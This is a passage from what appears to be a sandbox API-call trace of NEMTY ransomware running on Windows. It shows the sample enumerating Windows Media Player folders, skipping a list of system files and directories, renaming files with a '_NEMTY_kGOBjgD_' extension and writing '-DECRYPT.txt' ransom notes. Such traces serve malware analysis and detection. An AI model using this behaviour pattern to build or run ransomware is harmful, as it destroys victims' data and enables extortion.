lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.239] CloseHandle (hObject=0xffffffff) returned 0 [0107.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94318 [0107.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94390 [0107.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz._nemty_kgobjgd_")) returned 0 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94318 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0107.239] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf37ce570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf37ce570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf37ce570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0107.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.241] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf37ce570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf37ce570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf37ce570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.241] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0107.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.241] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2=".") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="..") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="...") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="windows") returned -1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="$RECYCLE.BIN") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="rsa") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="NTDETECT.COM") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="ntldr") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="MSDOS.SYS") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="IO.SYS") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="boot.ini") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="boot.ini") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="AUTOEXEC.BAT") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="ntuser.dat") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="desktop.ini") returned 1 [0107.241] lstrcmpiW (lpString1="Visualizations", lpString2="CONFIG.SYS") returned 1 [0107.242] lstrcmpiW (lpString1="Visualizations", lpString2="RECYCLER") returned 1 [0107.242] lstrcmpiW (lpString1="Visualizations", lpString2="BOOTSECT.BAK") returned 1 [0107.242] lstrcmpiW (lpString1="Visualizations", lpString2="bootmgr") returned 1 [0107.242] lstrcmpiW (lpString1="Visualizations", lpString2="programdata") returned 1 [0107.242] lstrcmpiW (lpString1="Visualizations", lpString2="appdata") returned 1 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizations", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizations", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visualizations", lpUsedDefaultChar=0x0) returned 14 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizations", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizations", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visualizations", lpUsedDefaultChar=0x0) returned 14 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.242] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\visualizations\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.243] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.243] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0107.244] CloseHandle (hObject=0x3c4) returned 1 [0107.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941e0 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94258 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.245] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\visualizations\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.245] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.245] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.246] CloseHandle (hObject=0x3c4) returned 1 [0107.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0107.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94258 [0107.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf38ff070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf38ff070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0107.247] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.247] 